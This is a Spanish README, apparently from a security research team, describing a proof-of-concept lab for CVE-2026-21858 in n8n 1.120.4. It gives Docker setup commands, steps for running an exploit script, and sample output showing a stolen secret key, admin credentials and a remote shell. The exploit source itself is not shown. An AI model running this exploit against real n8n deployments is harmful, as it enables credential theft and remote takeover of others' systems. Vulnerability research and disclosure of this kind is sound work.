CVE-2026-21858 RCE

Entorno PoC para n8n 1.120.4 con un flujo de trabajo Form Trigger y un script de explotación.

Requisitos

• Docker (Docker Desktop en Windows)
• Python 3.x (lado atacante)

Archivos

• Dockerfile — construye el entorno vulnerable de n8n
• run.bat — ejecuta el contenedor (Windows)
• workflow.txt — flujo de trabajo de n8n (incluye Form Trigger)
• poc.py — script PoC
• requirements.txt — dependencias del PoC

Configuración del Entorno

1. Construir la imagen Docker

docker build -t n8n-vuln:1.120.4 .

2. Ejecutar el entorno (Windows)

run.bat

3. Configuración de n8n

1. Abrir n8n en el navegador
2. Iniciar sesión como admin
3. Crear un nuevo flujo de trabajo
4. pegar workflow.txt
5. Activar el flujo de trabajo
6. Copiar la URL del Form Trigger

Prueba de Concepto (PoC)

1. Instalar dependencias (lado atacante)

pip3 install -r requirements.txt

2. Ejecutar el exploit

python3 poc.py

• Pegar la URL del Form Trigger cuando se solicite.

Resultado Esperado

• El PoC extrae activos sensibles de n8n (p. ej., FINAL_SECRET_KEY, identificadores de admin) del objetivo.
• Se proporciona un prompt de shell interactivo (n8n-shell>).
• Ejecutar un comando (p. ej., id) devuelve la salida del entorno objetivo (RCE).

Salida de Ejemplo

[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."

=== n8n Shell Ready ===
n8n-shell> id

[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si estás interesado, sigue los enlaces a continuación para consultar nuestras publicaciones.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst